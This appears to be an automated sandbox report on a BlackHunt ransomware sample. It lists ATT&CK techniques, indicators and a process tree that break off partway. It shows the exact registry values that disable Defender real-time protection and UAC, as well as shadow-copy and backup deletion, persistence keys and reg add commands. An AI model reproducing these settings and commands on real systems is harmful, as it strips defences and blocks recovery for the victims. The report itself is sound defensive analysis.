4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709

Data Destruction

T1485

pid	Process
3356	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4048	bcdedit.exe
2536	bcdedit.exe

Renames multiple (944) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
720	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	cmd.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\P:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\S:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\K:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\I:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\O:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\Q:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\B:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\Y:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\E:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\X:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\H:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\J:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\L:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\Z:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\G:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\A:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\V:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\N:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\W:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\T:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened (read-only)	\??\M:	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\OutConvertFrom.cr2	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_sent.gif	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\ResolveReceive.vst	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\app\dev\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\s_filetype_xd.svg	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\freebxml.md	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner.gif	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jvisualvm.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\thaidict.md	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveNoDrop32x32.gif	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroLayoutRecognizer\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hr-hr\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\asm.md	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_HK.properties	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\simplexml.luac	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\ended_review_or_form.gif	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\NEWS.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\classlist	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javaws.jar	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\#BlackHunt_ReadMe.hta	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\ExpandAssert.DVR	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_Private.key	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1848	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2508	vssadmin.exe
3952	vssadmin.exe
4624	vssadmin.exe
2132	vssadmin.exe
3852	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeRestorePrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeBackupPrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeTakeOwnershipPrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeAuditPrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeSecurityPrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeIncBasePriorityPrivilege	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Token: SeBackupPrivilege	4360	vssvc.exe
Token: SeRestorePrivilege	4360	vssvc.exe
Token: SeAuditPrivilege	4360	vssvc.exe
Token: SeBackupPrivilege	5252	wbengine.exe
Token: SeRestorePrivilege	5252	wbengine.exe
Token: SeSecurityPrivilege	5252	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 4832	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	89
PID 4680 wrote to memory of 4832	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	89
PID 4680 wrote to memory of 2156	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	91
PID 4680 wrote to memory of 2156	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	91
PID 4680 wrote to memory of 3868	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	93
PID 4680 wrote to memory of 3868	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	93
PID 4680 wrote to memory of 976	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	95
PID 4680 wrote to memory of 976	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	95
PID 4832 wrote to memory of 4048	4832	reg.exe	98
PID 4832 wrote to memory of 4048	4832	reg.exe	98
PID 4680 wrote to memory of 4056	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	96
PID 4680 wrote to memory of 4056	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	96
PID 2156 wrote to memory of 3844	2156	cmd.exe	102
PID 2156 wrote to memory of 3844	2156	cmd.exe	102
PID 3868 wrote to memory of 2984	3868	cmd.exe	145
PID 3868 wrote to memory of 2984	3868	cmd.exe	145
PID 976 wrote to memory of 4528	976	cmd.exe	100
PID 976 wrote to memory of 4528	976	cmd.exe	100
PID 4056 wrote to memory of 5048	4056	cmd.exe	152
PID 4056 wrote to memory of 5048	4056	cmd.exe	152
PID 4680 wrote to memory of 4000	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	118
PID 4680 wrote to memory of 4000	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	118
PID 4680 wrote to memory of 3100	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	105
PID 4680 wrote to memory of 3100	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	105
PID 4680 wrote to memory of 4228	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	110
PID 4680 wrote to memory of 4228	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	110
PID 4680 wrote to memory of 1800	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	108
PID 4680 wrote to memory of 1800	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	108
PID 4680 wrote to memory of 624	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	117
PID 4680 wrote to memory of 624	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	117
PID 4000 wrote to memory of 2952	4000	cmd.exe	115
PID 4000 wrote to memory of 2952	4000	cmd.exe	115
PID 3100 wrote to memory of 5028	3100	cmd.exe	114
PID 3100 wrote to memory of 5028	3100	cmd.exe	114
PID 4228 wrote to memory of 2796	4228	cmd.exe	111
PID 4228 wrote to memory of 2796	4228	cmd.exe	111
PID 4680 wrote to memory of 3388	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	113
PID 4680 wrote to memory of 3388	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	113
PID 4680 wrote to memory of 208	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	123
PID 4680 wrote to memory of 208	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	123
PID 4680 wrote to memory of 5104	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	122
PID 4680 wrote to memory of 5104	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	122
PID 4680 wrote to memory of 1108	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	177
PID 4680 wrote to memory of 1108	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	177
PID 1800 wrote to memory of 2100	1800	cmd.exe	176
PID 1800 wrote to memory of 2100	1800	cmd.exe	176
PID 4680 wrote to memory of 5096	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	175
PID 4680 wrote to memory of 5096	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	175
PID 624 wrote to memory of 5084	624	cmd.exe	174
PID 624 wrote to memory of 5084	624	cmd.exe	174
PID 4680 wrote to memory of 4088	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	173
PID 4680 wrote to memory of 4088	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	173
PID 4680 wrote to memory of 2880	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	172
PID 4680 wrote to memory of 2880	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	172
PID 4680 wrote to memory of 2140	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	171
PID 4680 wrote to memory of 2140	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	171
PID 4680 wrote to memory of 3972	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	129
PID 4680 wrote to memory of 3972	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	129
PID 3388 wrote to memory of 2712	3388	cmd.exe	130
PID 3388 wrote to memory of 2712	3388	cmd.exe	130
PID 1108 wrote to memory of 4556	1108	cmd.exe	170
PID 1108 wrote to memory of 4556	1108	cmd.exe	170
PID 4680 wrote to memory of 2292	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	137
PID 4680 wrote to memory of 2292	4680	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe	137

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
"C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:4832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3844
- C:\Windows\System32\cmd.exe
